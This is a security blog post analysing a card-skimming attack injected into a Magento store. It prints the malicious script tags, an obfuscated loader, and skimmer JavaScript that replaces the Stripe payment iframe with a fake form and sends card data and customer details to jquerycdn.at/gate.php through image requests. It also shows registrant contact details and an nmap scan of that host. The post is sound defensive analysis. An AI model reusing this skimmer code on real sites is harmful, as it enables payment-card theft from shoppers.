Analysis of an e-commerce card skimming attack

2020-06-03

Given the recent media coverage and writeups of e-skimming attacks on vulnerable online commerce sites I was intrigued when a mate of mine mentioned that he had discovered and reported such a suspected attack on a local vendor. In this instance he was clued on by a ‘URL blocked’ notification from Kaspersky AV.

Investigation Time

The urlscan summary view seemed to affirm something was fishy, indicating that on this otherwise typical Australian e-commerce site, a couple of assets (the same two flagged by Kaspersky) were being loaded from Russian hosts.

Along with a detected platform that puts it right in line with recent attacks

But let’s see if those hosts are actually up to no good. Inspecting the DOM, we can see how those hosts were being used to pull in some additional assets.

The jquerycdn host was being used to import some “shipping validation” javascript at the end of the footer:

1
2
3
4
5
6
7
8
9
10
11
...
</div>
</div>
</div>
</div>

<script src="//jquerycdn.at/shipping-rates-validation.js"></script>
</div>
</div>
</footer>
...

And the zdassets host was being pulled in twice, once in the header:

1
2
3
4
5
6
<head>
...
<script type="text/javascript" async="" src="https://js.klevu.com/klevu-js-v1/js/klevu-webstore.js"></script>
<script type="text/javascript" async="" src="https://www.google-analytics.com/plugins/ua/ec.js"></script>
<script type="text/javascript" async="" src="https://www.zdassets.net/map/ads.js"></script>
...

and also in the footer, but this one seems to be obfuscated:

1
2
3
4
5
...
<script type="text/javascript">
(function(){var po=document.createElement('script');po.ype='text/javascript';po.async=true;po.src='https://www.''zdassets'+'.net'+'/map/ads.js';var s=document.etElementsByTagName('script')[0];s.parentNode.insertBeforepo,s);})();
</script>
...

Checking if the scripts are malicious

The contents of ads.js are minified, so a quick stop over at unminify2.com makes it a bit more practical to digest

1
2
3
4
5
6
7
8
//...
var d, f, m = "2.8.3",
p = {},
h = !0,
g = t.documentElement,
v = "modernizr",
y = t.createElement(v),
//...

and suggests the contents are actually v2.8.3 of modernizr. Diffing the raw\unminified content against a reference copy pulled straight from what appears to be the official channels shows an exact match. Nothing to see here?

Let’s take a look at shipping-rate-validation.js and, well schucks, this looks awfully similar to the example in the FBI’s recent flash alert on e-skimmers targeting of CVE-2017-7391 in Magento’s Magento Mass Import (MAGMI):

Javascript Analysis

So how does this e-skimming js work?

Phase 1: Acquire the card details

The ecommerce website uses a PCI compatible card capture method by collecting the card details in a payment gateway iframe. In order to intercept these details the script locates the legitimate payment iframe;

1
var block = jQuery("[name=__privateStripeFrame5]");

hides it

1
jQuery(block).hide();

and then replaces it with a convincing fake

1
2
3
4
5
6
7
var iframe = document.createElement("iframe");
iframe.id = "_f";
iframe.srcdoc = $s.Template;
iframe.setAttribute("scrolling", "no");
iframe.setAttribute("frameborder", "0");
iframe.style = "border: medium none !important; margin: 0px !important; padding: 0px !important; width: 1px !important; min-width: 100% !important; overflow: hidden !important; display: block !important; user-select: none !important; height: 18px;";
jQuery(block).after(iframe);

that looks like this

and pushes any entered details up to the parent page

1
2
3
4
5
6
7
SendData = function() {
parent.$s.Data.Number=document.getElementById("_n").value.trim(),
parent.$s.Data.Date=document.getElementById("_d").value.trim(),
parent.$s.Data.CVV=document.getElementById("_c").value.trim()
};

setInterval(SendData,500)

Bonus: for good measure it also harvests the other PII entered on the checkout screen

1
var fields = ["firstname", "lastname", "street[0]", "city", "region_id", "postcode", "country_id" , "telephone"];

Phase 2: Send the card details

Once the card details are captured from the victim they are transmitted to an external location, to be consumed by the attacker at a later date. This is done by setting up a polling trigger.

1
setInterval($s.TrySend, 500);

And every 500ms checking if a complete set of credit card details has been acquired.

1
2
3
4
5
6
7
8
9
10
TrySend: function() {
$s.SaveAllFields();
$s.GetCCInfo();
$s.ChangeForm();
if($s.Data['Number'] === undefined || $s.Data['Number'].length < 11) return;
if($s.Data['Holder'] === undefined || $s.Data['Holder'].length == 0) return;
if($s.Data['Date'] === undefined || $s.Data['Date'].length == 0) return;
if($s.Data['CVV'] === undefined || $s.Data['CVV'].length < 3) return;
$s.SendData();
},

If there’s a full set of credit card details, they get packaged up in a base64 encoded json serialized string.

1
2
3
4
5
6
7
8
SendData: function() {
$s.Data['Domain'] = location.hostname;
var encoded = $s.Base64.encode(JSON.stringify($s.Data));
var hash = calcMD5(encoded);
for(var i = 0; i < $s.Sent.length; i++)
if($s.Sent[i] == hash) return;
$s.LoadImage(encoded);
},

And then something interesting, an IMG tag is injected into the DOM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//...
var $s = {
//...
Gate: "https://jquerycdn.at/gate.php",
//...
LoadImage: function(encoded) {
$s.Sent.push(calcMD5(encoded));
var img = document.createElement("IMG");
img.src = $s.GetImageUrl(encoded);
},
//...
GetImageUrl: function(encoded) {
return $s.Gate + "?hash=" + encoded;
},
//...

By creating IMG elements of the form
<IMG src="https://jquerycdn.at/gate.php?hash=[base64-encoded-creditcard-info]"/> the script exfiltrates the stolen card details and deftly sidesteps any same-origin constraints.

Host reconnaissance

While I wasn’t keen on inspecting the e-commerce host for vulnerabilities, a cursory version check reveals it’s running an old Magento/2.2 (Community). At best, that places it 15months behind on security updates.

The whois information continues the international theming of the jquerycdn host - Austrian TLD, Russian GeoIP and New Zealand registrant. The address approximately lines up with a karate dojo, in Wellington, neat.

1
2
3
4
5
6
7
8
9
10
11
12
nserver:        c.dnspod.com
changed: 20200313 17:43:56
source: AT-DOM

personname: James Chan
organization:
street address: 34 Brooklyn Road
postal code: 6021
city: Newtown
country: New Zealand
phone: +64020175778
e-mail: judah@jquerycdn.at

nmap shows a surprising number of exposed services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT      STATE SERVICE    VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Exim smtpd 4.86_2
53/tcp open domain ISC BIND 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
113/tcp open tcpwrapped
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
465/tcp open ssl/smtp Exim smtpd 4.86_2
587/tcp open smtp Exim smtpd 4.86_2
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
1028/tcp open tcpwrapped
2121/tcp open tcpwrapped
49156/tcp open tcpwrapped
49157/tcp open tcpwrapped
Service Info: Host: dv32-server2.local; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

The certificates presented over FTP

s certificate

and HTTPS

s certificate

both suggest the host was setup in mid March 2020.

The wayback machine reveals this host is serving other malicious scripts, and a quick inspection indicates that they are tailored to other ecommerce payment mechanisms including;

  • jquery.cookie.min.js for braintree payments
  • jquery.mobile.custom.min.js for generic stripe payments
  • and our shipping-rates-validation.js for magenest’s stripe payments

Summary

It appears a stored XSS attack was performed on the ecommerce site, injecting both an overtly malicious e-skimming script, and a seemingly innocuous copy of modernizr. Assuming the attacker retains control over the host serving the innocuous script, the modernizr inject does behave as a persistence mechanism should the original vulnerability be closed and the skimming js removed.

The most effective remediation would be clean out all injected scripts and apply the most recent updates to the hosting platform, especially considering a vulnerability commonly used in this type of attack was fixed in March 2017

Please lodge a cyber.gov.au/report if you come across a site running similar scripts, they are able to investigate and engage with the site owner to instigate remediation.


Comments: